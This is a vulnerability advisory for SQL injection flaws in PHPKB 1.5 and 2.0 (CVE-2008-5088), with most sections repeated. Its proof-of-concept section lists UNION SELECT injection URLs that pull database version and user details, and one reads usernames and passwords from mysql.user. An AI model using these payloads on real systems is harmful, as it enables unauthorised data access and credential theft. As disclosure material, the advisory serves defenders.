PHPKB Multiple SQL Injection Vulnerabilities
BID:31279
Info
PHPKB Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 31279 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-5088 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 22 2008 12:00AM |
| Updated: | May 07 2015 05:23PM |
| Credit: | d3v1l |
| Vulnerable: |
Chadha Software Technologies PHPKB 2.0 Chadha Software Technologies PHPKB 1.5 |
| Not Vulnerable: | |
Discussion
PHPKB Multiple SQL Injection Vulnerabilities
PHPKB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect PHPKB 1.5 Professional and 2.0; other versions may also be affected.
PHPKB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
These issues affect PHPKB 1.5 Professional and 2.0; other versions may also be affected.
Exploit / POC
PHPKB Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/email.php?ID=1+UNION+SELECT+concat_ws(0x3a,version(),database(),user())+LIMIT 1,1/*
http://www.example.com/question.php?ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
http://www.example.com/question.php?ID=1 UNION SELECT concat(user,char(58),password) FROM mysql.user/*
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/email.php?ID=1+UNION+SELECT+concat_ws(0x3a,version(),database(),user())+LIMIT 1,1/*
http://www.example.com/question.php?ID=1 UNION SELECT concat_ws(0x3a,version(),database(),user())/*
http://www.example.com/question.php?ID=1 UNION SELECT concat(user,char(58),password) FROM mysql.user/*
Solution / Fix
PHPKB Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
PHPKB Multiple SQL Injection Vulnerabilities
References:
References:
- PHPKB Homepage (Chadha Software Technologies)